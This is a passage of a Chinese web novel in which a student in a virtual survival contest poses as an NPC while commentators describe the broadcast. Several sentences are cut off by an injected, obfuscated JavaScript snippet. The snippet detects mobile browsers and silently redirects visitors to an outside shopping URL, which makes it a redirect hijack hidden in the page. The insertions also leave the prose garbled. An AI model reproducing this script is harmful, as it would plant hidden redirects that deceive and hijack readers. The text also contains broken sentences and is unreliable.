此时开幕式尚未正式开始，她坐着坐着腰就开始往下塌，最终完全靠在了椅背上。 椅子之所以有椅背，就是为了让人靠在上面，不然大家坐爬爬凳就好了。 主星现场的总导播点点头，屏幕里学生们的精神面貌都非常……嗯？ 一群穿着白色制服的学生正襟危坐，黑色的脑袋几乎都在一个高度，令强迫症非常满意，但是随着镜头横推，中间突然出现了一小块“塌陷”。 其实简初的脑袋只是向后移动了一点点，但没有对比就没有伤害，她打了个哈欠，微微抬头，正巧看见镜头“不怀好意”地停在自己这边，疑惑地歪了歪脑袋。 导播看着那脑袋又往旁边歪了歪，气得快要心梗：“切镜头切镜头，这一片区域不要再拍了！” 9：00，嘈杂的音乐声突然停下。 “各位选手上午好，现在我将为大家宣布本次初赛的安排以及比赛规则。” 主持人话一出口，简初明显感觉到身边的同学们都不约而同挪了挪屁股，腰挺得更直了，好像看清屏幕上的人有助于他们听清对方说出的话。 “赛期预计五天，以实际为准。每位选手将单独分配一个登入间，期间除非被淘汰，不得离开自己的房间。” “乌托邦内时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12822580|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间流速与外界为1：1，日间画面实时播报，时间为早上八点至晚上八点，现场全程解说，观众们可在竞技中心内自由行动，每天实况转播开始前一个小时，将对夜间情况进行重点解说。” 他刚说到这里，学生中突然爆发出嗡嗡的讨论声。 “夜间不进行实时转播的话，岂不是做点坏事未必会被发现？” “只要不违规你白天也能干坏事啊，怎么，还有偶像包袱？” “没见过这么搞的，在乌托邦待五天谁受得了啊！” 简初垂着眼，从身边的讨论声中汲取信息。 人们是以精神链接为根基，登入虚拟星网乌托邦的，长时间停留对维持正常精神状态是一个严峻的挑战，从这方面来看，精神控制学院的学生倒是占了优势。 “现在开始说明初赛的场地背景，以及比赛规则。” “初赛场地抽取为[异种入侵的边陲小镇]，选手们将被随机投放在场地中，获得不同的身份、道具，面临随时出现的异种袭击、资源争夺，以及其他选手的偷袭。” “比赛中允许结盟，评判标准不仅限于生存积分和战斗积分，请不要尝试在团队中浑水摸鱼。” “选手综合表现分数将由乌托邦系统主脑全程负责计算，受联邦军部监督。” 他好像说完了，简短得出人意料，紧接着终端就收到了通知。 “简初同学，你随机抽取到的登入间为：1－1062，请在原地等待监考系统通知入场。” 现在在全息中心内部，只能接受到有关赛事的通知，其他信号全部都被屏蔽了，学生们的讨论声窸窸窣窣，已经盖过转播的音响。 “所以评分标准究竟是什么啊，怎么模糊不清的，实际表现怎么算，打辅助也能得分的意思吗？” “不说明白就是为了避免有人投其取巧吧。” “只能这么想了，军部监管，总不会有什么猫腻。” 众说纷纭，却没有影响比赛进程的推进。 简初的位置不前不后，很快就跟着人流离开大厅，前往自己的登入间。本次联邦第一军校的参赛选手共计800余人，占所有选手的五分之一还多，属实是参赛大户。 全息中心的容纳量倒是绰绰有余，但登入间已然告急，还是临时改建了一批才堪堪够用。 也许为了减轻学生的心理压力，登入间内部配色十分柔和，里头还设置了一些几乎不会派上用场的消遣玩意，除此之外最显眼的就是座舱后面满满的营养剂。 五天的剂量，不容小觑，它们会通过座舱中的输液管直接输送给选手，维持最长五天的身体机能。 比赛第一天的事务繁杂，直到九点半，才迎来了通知。 “请各位选手登入乌托邦。” 简初躺进座舱，手背微微刺痛，像被虫子叮了一口，接着营养剂开始以十分缓慢的速度流淌进血管中。 设备连接完毕，她刚闭上眼，周围闪过大量的数据流，一阵轻微的失重感过后，耳边响起了乌托邦的提示。 “你已成功登入，正在生成随机形象，十秒后比赛开始。” 62. 灯下黑（62） 这则通知过后，一切归于沉寂，没有任何额外的说明。时间还在倒数，所以简初暂时无法行动，只能站在原地打量面前的场景。 她现在所处的屋子看起来有了年头，空间狭窄，只摆了一张单人床、没门的矮书柜和一套破旧的桌椅，上面都有着陈年的污垢和包浆。 桌上有一本打开的笔记本，纸页泛黄，上面密密麻麻写着什么，旁边则放了一个满是锈迹的收音机，和一枚钥匙，看上去应该都是道具。 整个空间一眼望尽，没有其他可以躲人的地方，墙角堆着几个食品箱子，几乎已经是空的，书桌正上方的窗户被木板封得死死的，看材质是把书柜的门拆下来用了。 十秒的倒计时很快结束，一声清脆的金属敲击声过后，简初终于可以自由行动。 她先是检查了墙角的食物，量很少而且已经过期，看地上的包装袋应该是已经被吃了不少，不知道剩下的吃了会不会有什么腹痛之类的debuff。 床上床下什么有用的都没有，书柜里倒是塞了些乱七八糟的，一个小手电，一把卷了刃的长匕首，还有少量的纱布和伤药，书籍倒是一本没见着。 简初将东西都取出来，摆放在有限的空地里，方便自己随时取用，一切安置好，她终于将目光投向了桌上的笔记本。 这张桌子没有抽屉，也省去了简初翻找的麻烦，旁边的椅子缺了条腿，看起来晃晃悠悠，她索性直接将笔记本托在手里，防止它突然散架。 她翻到第一页，从头看起。 “第一天，辉城拉响了警报，这是噩梦的开端。” 紧接着的第二天和第三天都是无事发生。 看起来像是日记，她记得这个对抗场景叫做[异种入侵的边陲小镇]，看来日记就是从变故发生的那天开始记录的。 “第四天，通讯断了，没办法联系家人，半夜听见周围的租客拖家带口逃走了，希望他们一切都好。” 简初皱皱眉，抬头再次看向周围的布置，既然说通讯断了，那就应该有联络道具，但她刚刚并没有发现，看来待会还要再搜一遍房间。 她将这一页折起来，继续向后翻阅。 “第五天，听说快要断电断水了，今天去外头接了水，给终端充满电，每天开机看一眼吧。” “第六天，果然断电了，水暂时还有，不过听隔壁邻居说水质变得很差。” “第七天，今天起每天吃的食物减半，早知道之前多买点放家里了。” 紧接着第八天和第九天没有记录，但是页面上出现了血迹，这里似乎触发了什么，简初开始感受到额角有些刺痛，她抬手摸到一个大肿块，指尖还粘了点血痂。 考虑到没有影响到正常行动，暂且没有进行处理。 “第十天，有人带着武器来抢东西，和隔壁邻居联手把他处理掉，然后封锁了楼栋大门。” 看来收音机旁的这一把钥匙应该就是开楼栋门用的了。 “第十一天，隔壁邻居伤口感染，给了他一点药。” “第十二天，他说要出去找物资，还说会给我也带一点，他把收音机给了我，让我注意听广播，有什么事等他回来商量。” 接下来的三天，后面写的都是“他还没回来”，直到第十六天。 “第十六天，楼里只剩我一个了。” “第十七天，收音机里有声音了！中心塔说是巨型异种群袭击，正在安排救援，最近的救援点在辉煌商场，但是我不敢出门，希望邻居得救了。” “第十八天，终端还是没有信号。” “第十九天，外面有异种，想办法封了窗户。” “第二十天，收音机里说，中心塔接收了前往救援点的第一批幸存者，有点后悔，我应该试试出门的。” 后面就全部都是空白的了，可惜到最后都没有提到终端放在哪儿。 简初迅速将已有的信息提炼出来，最后落在了辉煌商场上，不出所料的话，她接下来应当前往这个地方。 她小心放下日记本，重新将整个小房间搜索了一遍，最后终于在小书柜的背板夹层里找到了一个老式终端，目前看来辉城的科技发展水平并不算高。 终端开机，上来就是一个巨大的无信号的警告，简初坐在床边，试图搜刮终端里的信息，但里面什么都没有，只有几个联系人的通讯号，以及一串未拨通的通讯。 “滋滋——” 就在这时，窗外突然传来细微的声响，但是声音来源很近。简初下意识屏住呼吸，放轻动作，蹑手蹑脚走近窗边。 她微微弓下身，从封窗木板间的缝隙向外看去，视野里空无一人，突然一只黑色的雀儿掠过，紧接着响起细细密密的树叶声。 简初眯了眯眼，侧头看向天空，不知道是不是错觉，总觉得好像有一张无形的网罩在头顶，带来转瞬即逝的压抑感。 下一秒，她眼前骤然变暗，好像有什么东西出现在窗户上方，投下了一片阴影。简初小心地更加贴近墙壁，这次她的肩背也塌下，方便从木板缝隙里看到更多的画面。 没有异常，她谨慎地转动视线，缓缓看左侧，却正巧对上了一颗发红的眼球。 什么鬼东西！ 简初瞳孔收缩，喉头一紧，咬牙咽下已经到嗓子眼的惊呼，屏住呼吸，看着面前布满鳞片的细长蛇尾状生物。 末端坠着一只眼球，此刻正对着窗户高高竖起，周围高低错落扭动着数十只同类，它们的另一端向上延伸，直到简初看不见的地方。 这是……鳞尾藤。 异种图鉴中有记载，名字很像植物，却是实打实的异种生物。它的尾藤数量众多，看起来相当瘆人，虽然这算是视觉器官，但让人迷惑的是它的视力并不好，更多地是依靠触觉来探测。 简单粗暴点来说，这群眼睛就是吓唬人的摆设。 本体驻扎下来后轻易不会移动，但数以百千计的尾藤却能向外延展，单根攻击力很差，但一旦被缠上，数十上百的尾藤都会闻风而动，物理绞杀它的猎物，相当难缠。 这里出现了这么多尾藤，而且十分密集，也就是说本体离这里并不远。 简初紧盯着眼前那根尾藤，连眼皮都不眨一下，它摇摇晃晃在外面“滋滋”摸了一圈，一无所获便扭动着向下探去。 简初轻轻嘘了口气，紧绷的神经略微放松。 乌托邦强化了众人的精神力，就算不依靠小触手，她也可以处理掉这堆恶心的玩意，但只要本体还在，它就可以无限繁殖，比赛刚刚开始，跟这种消耗人的异种纠缠太久并不是好选择。 简初的精神力沿着尾藤向上，直接追踪到了它的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12837229|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巢——正是这栋楼的天台，鳞尾藤的光点十分明亮，可以想象到虬结的庞然大物盘踞在顶楼，无数尾藤宛如瀑布一样倾泻而下。 她记下鳞尾藤的位置，打算抓紧时间先离开这里。 简初打开了桌上的收音机，慢慢调节旋钮，很快，“沙沙”的声音响起，出现了一个听上去很机械的声音。 “中心塔第二轮救援将于明天下午前往辉城电厂、辉城图书馆、辉煌商场、辉城药物研究所，同时随机投放物资，请需要救助的居民耐心等待。” “中心塔第二轮……” 收音机里一直在反复播放这一段话，这应该就是目前的主要目标——前往救援点。 近五千名选手被随机刷新在这座城市，众人境况想必不同，触发的任务也就不同，说不定有人直接刷新在了中心塔，也许有人上线就被异种围攻。 而简初对于她此刻的处境还挺满意的，至少有充足的时间做准备，拿到的信息也算有点用，不至于两眼一抹黑。 几个救援点一定会有更多的人员聚集，也许就能用精神力看出来。 不过当简初使用精神力扫描时，就发现了一个有些棘手的问题—— 她暂时无法从行动轨迹分辨选手和异种间的区别，所以也无法自行标记。 另外，现在选手们刚刚接到任务，还没有开始往救援点汇聚，所以并没有看到明显的光点聚集处。 看来捷径是走不了了。 不过这次比赛场地出奇得大，还没有触及边界她就已经感受到明显的疲倦，只能赶紧将精神力收了回来，保存状态。 既然精神力极大概率行不通，那一定能从其他地方找到自己需要的信息。 现在外面一片平静，比起夜晚显然是行动的好时候，简初当即决定出发，十几分钟后，她就背着一个用床单做成的包裹，带着那些杂七杂八的东西站在了木板门前。 …… “各位观众大家好，欢迎来到本届模拟大赛的转播现场，我是本次比赛解说白羽。” “大家好，我是解说爱丽丝。” “今天现场不仅有我们两人，还有两位特邀嘉宾，来自联邦第一军校的伊森·斯塔，以及来自联邦理工的瞿毓风，欢迎两位来到我们的现场，相信大家也很好奇，两位为什么没有选择参加本次的模拟大赛呢？” 这两位解说都是行业内的顶尖人物，而且经常搭档，互相之间也很熟悉。相比之下，爱丽丝要更有亲和力一些，所以这种话题大多由她开启。 “快毕业了，分不出什么精力来参加比赛。”瞿毓风表情诚恳，大大的眼睛自带可信度加成。 “我也一样。”伊森微微颔首。 两位解说的表情微微墩住，爱丽丝迅速调整情绪，非常自然地笑着接下话：“看来毕业季是真的很忙碌啊，不过幸好两位没有参加比赛，否则大家又要多两个强劲的对手了。” “我们来看看选手们的情况吧，刚刚大家也听到，入场生成随机形象，也就是说选手们会出现相见不相识的情况哦。” “没错，这给比赛增加了一些不确定性，不过我们现场还是能直接看到选手真容的。”白羽接道。 “不过听说这次抽取出的比赛场景比较罕见，白羽你有了解吗？”爱丽丝很体贴地再次将话抛给了搭档。 63. 灯下黑（63） “这次抽取的比赛场地听上去没什么的特别的，却是少见的隐藏阵营自主赛场，顾名思义，选手们其实会被划分为多个阵营，但需要由自己来探索。” “看来对选手们的信息搜集和分析能力也进行了考验啊！”爱丽丝捧场道，“那么这个自主赛场又是什么意思呢？” “这个场地里不存在‘活着的’NPC，剧情发展由选手们的行为来决定，所有的背景故事将以文字、影像、录音、图片等多种形式呈现。”白羽面色沉稳，侃侃而谈。 “这么说来，那我有一个问题了，我们的选手们知道这件事吗？” “当然是——”白羽非常有综艺感地停顿了一下，“不知道了。” 两人一唱一和，将现场的气氛炒热，观众们尤其喜爱这种上帝视角，他们对一切了如指掌，但身处其中的选手却一无所知，很能满足人的控制欲。 “不少选手一进场就遭遇异种的攻击！不知道有多少人能突破开局的困境呢，我们拭目以待。” …… 房间的门看起来上了年头，合页的部位锈迹斑斑，简初能想象慢慢打开会发出怎样巨大且漫长的“吱嘎”声，索性快刀斩乱麻，迅速推开了房门。 门外并不是走廊，而是一个同样狭小的客厅，除了对外的大门，另外三面墙壁上各有两扇门，其中四扇门都是开着的，简初一眼就看到房间里面空空荡荡，显然是日记里提到的逃走的租客。 除她以外，只剩下一扇紧闭的房门，应该是那位出去寻找物资的邻居。靠近大门的地面上有不少血迹，还有一道明显向外的拖痕，大概就是跟邻居联手解决的“入室抢劫犯”留下的痕迹，除此之外客厅里非常干净，没有异种的踪迹。 大门旁有一面镜子，简初想到刚刚登入时听到的提示，毫不犹豫抬脚上前，果然，镜子里的是一张跟她本人毫无关系的脸。 也许是为了符合背景设定，她的面色暗淡，皮肤粗糙，头发也变成了干枯卷卷的棕黄毛，除此之外身高体型没有任何改变——因为形体改变会影响对战效果。原本低头可以躲过的攻击因为变高，反而变成了破绽，会严重影响选手们的表现。 不得不说，乌托邦还是安排得挺周全的。 场地里应该有很多NPC，像“中心塔”这样能力明显超出常规的机构，应该不会有人直接被投放在里面，否则选手直接的差距很难平衡。 现场转播大概率还是选手们真实的容貌，毕竟很多观众都是冲着支持的选手来的，要是连人都分不清，绝对会向赛方抗议。 此外，比赛前还有一个娱乐性质的冠军投票，一般是赞助商用来选广告代言人的，热度够高就行，这部分人在比赛中也理所当然会多一些镜头。 但这些与简初显然毫无关系，她稍加思索，决定给自己换一个名字，现在开始，她就是辉城一个微不足道的普通贫困户了。 …… “场内的选手数量开始趋于稳定，看来开局还是杀了很多人一个措手不及，但也有不少选手非常利落地斩杀了异种，暂时处于领先。”白羽看着大屏幕旁边的实时统计数据，开口道。 “没错，危险与机遇并存，不过整个赛场里的任务触发点还是挺多的，抓住机会就可以实现反超。” 两位解说将期待的目光投向瞿毓风——伊森那边的氛围太冷，他们不愿直面。 “呃，可能大家会觉得开局被淘汰很可惜，但实际上在这里失败的选手，大概率也并不能坚持很久。”瞿毓风斟酌着开口，“自主类型的赛场本来就不可控，就算打上几次也不见得会走上同样的剧情线，再加上选手数量众多，连乌托邦主脑都无法预计接下来会发生什么。” “但可以确定的是，随着时间推移场内会变得越来越危险。” …… 楼栋的大门被铁链封得严严实实，简初掏出钥匙顺利地打开了大门，迎面而来的就是数量众多的鳞尾藤，它们有些在地面上游走，有些悬挂在半空中，却没有一个往简初这边靠近哪怕一点，这么大眼睛长得，真是个摆设。 在没有被活物触发的情况下，它们的动作甚至可以称得上迟缓，简初花了点时间小心避开，顺利离开了它们的搜索范围。 外界的天空被厚重的阴霾覆盖，很有末世求生的感觉。 地面上到处都是交通工具，甚至还有悬浮车，不知道是因为被异种攻击，还是因为信号丢失，撞得七零八落碎了一地，将道路堵得水泄不通，应该是刚刚拉响警报的时候居民们都想着快点逃生，结果出了大乱子。 不过这些车的款式都很老，简初艰难地跨越这一堆破铜烂铁，期间还特地看了一眼，交通工具内部全都是空的，难道所有的尸体都被异种拖走了？ “哗啦啦——” 路边的公告栏里贴了什么，在风中哗哗作响，感觉下一秒就要被吹走了。 简初的预感是正确的，就在她抬脚向前的瞬间，一张纸被风撕下来，她赶紧上前一把抓住，这时候千万要把握住每一个可能的信息来源。 果不其然，纸张上是附近街道的简易地图，上面只有主干道，但标记了简初心心念念的“辉煌商场”。 “沙沙——” 正当她对照地图辨别方向时，左前方突然传来奇怪的骚动声。 听起来不像异种，更像是有人在里面挣扎，简初皱着眉，放轻脚步走上前，猛然打开从外面反锁的门，里头的人抬起头，露出一张灰扑扑的脸。 可是他的装束看起来跟简初完全不像一个世界的。 对方身上穿着作战服，腰间还有武器，科技感十足，却被双手反绑，胶布粘嘴，关在了这个小小的楼梯间。 看见简初，他眼里爆发出光亮，紧接着又是警惕，生怕对方突然给他来一刀，把他给淘汰了。但接下来的发展完全超乎想象。 打开门的姑娘一见到他，就立刻满怀喜悦地扑了过来。 “太好了，你是救援人员吗，可以把我带去辉煌商场吗？” 辉煌商场是什么？他上线就被关在这里，目前什么线索都没有……不过对方这反应，看起来不像是参赛选手啊？ 他不动声色地挪了挪屁股，上下打量了对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12867281|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方一眼，斟酌着开口：“呜呜呜——” 简初：“……” 糟糕，嘴上的胶布忘记给他摘了。 “嗷呜！好痛！” 她迅速一把撕掉胶带，似乎动作够快两人就能遗忘这尴尬的场面，但对方震天动地的痛呼，瞬间将外头的乌鸦都惊得嘎嘎乱叫。 男子赶紧捂上自己的嘴，庆幸没引来异种。 简初十分敬业地扮演NPC的角色，帮对方解开了手上的束带，登时男子的眼神变得更加柔和了。 这么贴心，绝对是来帮忙的NPC没错了！ “非常感谢你的帮助，请允许我先查看一下上级给我发送的消息。”他礼貌地找了一个理由，开始翻阅起自己手腕上的终端，他已经相信面前是一个NPC，所以动作间的防备都变弱了。 简初面带微笑打量着他的终端，款式倒还算新颖，看来她只是穷，才会一直用那么老旧的东西。 “对了，我叫苏益文，你叫什么名字？”他一边打开终端，一边随口问道。 终端里确实有一些信息，但至于他为什么被关在这里，还有这个场地的背景故事并没有涉及。最重要的是，上面一个进行中的救援任务，领队显示为凯文·斯塔，正是要求他配合工作，前往“辉煌商场”。 看来这人没骗他。 “我叫瑞思拜。”简初一脸真挚地回答，紧接着用十分期待的眼神看着苏益文，“你能带我去辉煌商场吗？” 她眼尖地瞥到终端上的一些信息，上面显示的机主正叫苏益文，这也许是为了平衡选手之间开局的差距留下的小盲点。 像她这种独自出现在“野外”的选手，可以选择隐瞒自己的真实身份姓名，但对方却只能以真实姓名行动，除非他此刻抛弃救援队成员的身份，选择做一个幸存者。 但这是不可能的，苏益文不仅不会放弃，他甚至会想办法把简初带到救援点，毕竟NPC主动提出的请求，大概率象征着积分。 苏益文正沉浸在对方奇怪的名字里无法自拔，不过场景内的NPC，叫什么都可以理解。 “瑞……瑞思拜小姐，我会把你安全带到辉煌商场的，不过我需要先找个地方包扎一下伤口。”苏益文一脸纠结喊出她的名字，差点让简初破功，她强行压下疯狂上扬的嘴角，低下头看了一眼苏益文手腕上被束带勒出来的，翻出血肉的伤口。 “我这里有一点绷带，你要用吗？”简初非常体贴地询问，让苏益文心下狂喜。 NPC这就开始发福利了，这也太好了吧！ “这多不好意思啊，我作为救援队的成员，怎么能用……” “没关系，路上还要麻烦你保护我，给你用是应该的。”简初笑眯眯打断对方的发言，放下包裹露出一地零碎的东西，掏出仅剩的绷带全部递了过去。 “谢谢。”苏益文心底发誓，一定要好好保护她！ 场外，负责监控附近区域的工作人员不断切换着屏幕，看着氛围和谐的两人，挠了挠脑袋。 这种场面好像没什么看头，还是找个在打架的吧。 64. 灯下黑（64） 挤满了废弃车辆的街道上，有一群人正在缓慢前进，为首的凯文凯文·斯塔表情平静，努力控制着内心的喜悦。 他拿到的身份是来自中心塔的一支救援小队的队长，队内一共七个人，每人都拥有武器装备，杀起异种来还算容易。 根据规则，同队成员之间不能互相攻击，所以大家合作地还算安心。 一共四支小队队，各自负责一个救援点，而他们负责的是辉煌商场的救援以及物资收集。 按照这个人数比例来看，能以救援队成员的身份开局，也算是幸运值爆棚了。 “辉煌商场距离这里还有四个街区，那边集中的人数应该会不少，异种可能也会聚集，要多加小心。”尽管凯文内心并不情愿，但任务有要求，只能捏着鼻子前去救援。 一路过来杀了几只异种，队员们身上多少都沾了些异种的□□，不过拿到击杀的人脸上都挂着笑意。 “等等，检测到有异种在接近，速度很快，飞行种，体积较大，根据声波探测的结果，百分之七十的概率是太蚊。”队伍里负责使用探测仪的成员突然开口喊停。 “只有一只？它们不是喜欢成群结队行动吗？”凯文皱眉问道。 “不清楚，但确实只有一只，可能是掉队的。” “啧，蚊子再小也是肉，这次轮到谁拿积分了？” 为了队伍内的和谐，凯文制定了轮流获取积分的规则，不得不说，在家族的熏陶之下，他确实有几分领导才能，其他人还都愿意听他的。 虽然还有一个重要的原因，就是队内杀伤力最强的武器是由队长来控制的，比赛前期尽量使用现有的武器装备，可以避免异能的过度消耗。 “来了！” 一声惊呼，一只巨大的异种出现在众人视线中。它身量与一个成年人无异，但因为悬浮在空中，所以显得更加高大，半透明的翅膀上遍布黑色的脉络，鼓鼓胀胀看起来有些恶心。 “飞得好快！” 有人一枪落空，反倒吸引了它的注意力，太蚊毫不犹豫在空中划了一道弧线，猛然向小队冲来。 尽管在背景设定中，这是一支默契而训练有素的救援队，但实际却谈不上什么合作，一时间弹药激光在空中乱飞，大家都生怕太蚊一甩脑袋，那道奇长的口器就将自己淘汰。 乱拳打死老师傅，这么多攻击下去，还是有部分落在了异种身上，翅膀扇动的频率变得更快，嗡鸣声宛如魔音入耳，直叫人不堪其扰。 场外镜头也正给到这边。 “落单的太蚊还是很少见的，这是个机会啊，但是如果不速战速决的话，蚊群找过来就不妙了。”白羽的语气充满担忧，很有感染力。 “太蚊的集体意识不算强，如果这只不是探路员，而是落单的，对于选手们来说倒是好事。太蚊群的战斗力可是很强的，现在选手之间的合作还处于磨合期，遇上强敌结果很难说。”爱丽丝点点头，转头看向了一旁专心致志但默不作声的两位。 爱丽丝：“……” 她的解说生涯受到了极大的挑战。 “伊森同学，作为哥哥，你对凯文有怎样的评价呢？”接收到自己搭档的眼神，白羽面色镇定地展开话题，这可是大老板提的剧本，硬着头皮也要说完，只希望伊森能给点面子。 伊森觑了他一眼，露出淡淡的微笑：“很不错，成长空间也很大，值得期待。” 听见这话，瞿毓风特地扭头看了他一眼，得到一个稀松平常的点头回应。 这人，怎么话里有话的。 “呵呵，看来伊森对弟弟的评价很高啊。”场上的都是人精，并不会有人戳破其中的深意，大家非常和谐地继续观看其他选手的的情况。 就算是凯文·斯塔，也不能在大屏幕里露脸太久，种子选手众多，有背景的也不少，引起公愤就难收场了。 …… 一阵手忙脚乱过后，队员的步调终于又协调起来，不小心使用了异能的两个选手有些懊恼，但好在这里人多，混在一起暂时不会被摸清底牌。 联邦对于异能的态度有些微妙。 一方面，由于异能潜在的危险性，联邦需要对异能者的信息了如指掌，而并非所有异能者都是正派人士，出于对官方工作人员的保护，他们的异能信息受到严格的保密。 但另一方面，由于异种的存在，联邦需要异能的威慑作为民众的定心丸，也正是部分异能的公开使用，让民众信任联邦的守备力量，才有现在稳定的社会秩序。 尽管异能的详细数据被严格保密，但使用过程中的表现却难以掩盖，民众也非常热衷于猜测强大的异能者们到底拥有怎样的能力，现在比赛刚开始一会，使用过异能的选手在星网论坛的讨论度明显高出许多，甚至直追大赛种子选手。 这一边，弹药不要钱似的倾泻而出，哪怕太蚊在空中的轨迹难以预测，在这样的攻势下也变得伤痕累累，行动速度肉眼可见地慢了下来。 “该上了，拿积分。”凯文一声令下，还没分到猎物的选手摩拳擦掌，都想着这次把异种拿下，毕竟眼睁睁看着别人刷积分可不好受。 但就在这时，路边的房顶上突然飞出一根铁棍，直接削断了太蚊的半截口器。异种吃痛，在空中疯狂摇晃着脑袋，动作间一串黏糊糊的□□向周围喷洒开来。 那根戳在地面上的铁棍尖端锐利，两边各有一段粗糙的锯齿，正是它们割开了太蚊的口器。 下一秒，房顶上出现一个人影，他动作迅捷，甚至没有趁机摆个造型——这种比赛场合，能有一个好镜头是相当不容易。 异种感觉到了危险，出人意料地转头就跑，哪怕身上有伤，速度也比来时要快得多。 凯文咬咬牙，比起异种逃跑，他更在意的是被人抢了风头，眼见那个人影拔走铁棍，几个跳跃就往太蚊逃跑的方向追去，他也下定决心。 “追！” “导播，这一段要抬到主屏吗？”专门负责凯文的工作人员表情无奈地开口。 “不行，放上主屏观众们的注意力都被搅局的人吸引走了，这你还要来问我，自己有点判断力！”副导播皱着眉不耐烦道，这种不懂事的小职员，也不知道谁给安排到这儿来的。 …… “瑞……”苏益文有些愁闷，每次喊这个名字，他都莫名其妙有一种精神被霸凌的感觉，但看到女孩疑惑的眼神，又只能乖乖把剩下两个字吐出来。 “瑞思拜！” 很好，苏益文，你做到了！你大声喊出了她的名字！ “怎么了？”简初的眼神中充满鼓励。 “呃，我是想问问你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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紧接着，异种身后的人转出拐角，他穿着一件破破烂烂的外套，袖子长短不一，但无一例外没能盖住手肘，露出小臂上紧紧缠着的绷带，他提着一把切削得很利落的金属棍，即将追上那只大蚊子。 原来他才是追杀者。 “嗤——” 异种的口器被对方齐根削断，发出十分痛苦的……翅膀扇动声，让简初回想起遥远记忆中被蚊子大军入侵的大学宿舍。 它不能发出叫声，真是太可怜了。 “砰！” 苏益文果断开枪，但因为疼痛，太蚊的行动轨迹愈加杂乱无章，激光只在它半透明的翅膀上留下一个小洞，没有带来什么有效伤害。 与此同时，追杀者猛然将手中的铁棍甩出，带着强劲的破空声，“铮”地一下将太蚊钉在了墙面上，大蚊子的长脚抽了抽，就再也不动了。 那人毫不犹豫地走上前，将钉进墙里的铁棍拔出来，似乎还想继续当武器用，他掂了掂棍子，终于将眼神投向这边。 苏益文十分不争气地后退了半步，想起身后还有一个需要保护的NPC，又硬生生停住了。 这真是劲敌，如果他们能合作…… “你好，你也要去辉煌商场吗？可以和我们一起，他是救援队的，安全很有保障。”简初探出脑袋询问道。 苏益文：“……” 他艰难地低头看了看自己手里的枪，又看看对方的棍子，默默咽了咽口水。 对方实力明显强得多，这种时候就不要夸他了啊，瑞思拜小姐！ 65. 灯下黑（65） “我来跟他交流，你小心点，不要靠太近。” 苏益文低声朝简初说道，他试探着向前走了两步，释放出善意的信号，发现对面的人暂时没有要动手的意思，不禁松了口气。 “兄弟你好，请问你是……”苏益文刚想问对方是哪个学校的，就看见这人默默举起了铁棍，于是立马紧急更换话题。 “我是说，我叫苏益文，要不要一起去辉煌商场，那里是最近的救援点。” 对面的人没有回答，只是向他身后的人投去目光。 “那是遇到的一个NPC，叫瑞……瑞思拜。” 苏益文见有戏，连忙压低声音开口解释。 虽然选手的行为会在NPC眼中合理化，但当着面说人家是NPC，他还是有一些不自在，殊不知身后的简初已经将他的话听了个完全，哪怕她表面还装作好奇地朝这边看。 那人朝前走了两步，苏益文有些警惕地握紧手里的枪。 “叫我张三就好。”他平静开口，“我可以跟你们一起去，麻烦了。” 苏益文抹了把汗，这人显然没说真名，但他也没办法拒绝对方，他怕说出个“不”字，下一秒就出现在场外了。 不过这个张三虽然语气冷冷的，但用词还算礼貌，应该还能和平相处。 “瑞思拜，你过来！” 见他回头，简初凑上前来，露出一副乖巧的表情。 “这是张三，接下来会加入我们一起行动。” 简初：“……” 张三？哪个张三？ “你好，张哥。”她面不改色地开口，这次无语的换成了别人。 “先离开这里，后面可能有人在追。”张三淡淡扔下一道惊雷，叫苏益文直呼上当。 等到凯文赶到现场，太蚊的尸体刚好在他眼皮子底下被刷新掉。救援小队人多，行动起来不如独行侠灵活，再加上道路上堆满了各种废弃垃圾，前进速度更是要慢不少。 “可恶，真让他截胡了。”凯文低声骂道，但他不能在其他选手面前露出太过急躁的模样，“继续前进，还会有其他异种出现的，大家稍安勿躁，还是先以拿分为主。” 附近的人目的地一定都是辉煌商场，到时遇到一定要给他点颜色看看。 …… 简初抓紧了床单做成的包裹，尽心尽力扮演一个不添乱的NPC。 此刻正午时分，阳光照下来，被有些发黄的大气困在了半空中，漫射出奇诡的色彩和纹路，不过也多亏了没有光线直射，气温倒还算合适。 考虑到张三口中可能的“追兵”，以及未知的太蚊群，三人没有从大路中间前进，而是贴着两侧房屋慢慢往前。苏益文的终端显示辉煌商场离这里大约三个街区，在地图上看起来小小一块，走起来却并不是这么回事。 这个场景地图比想象的要大不少。 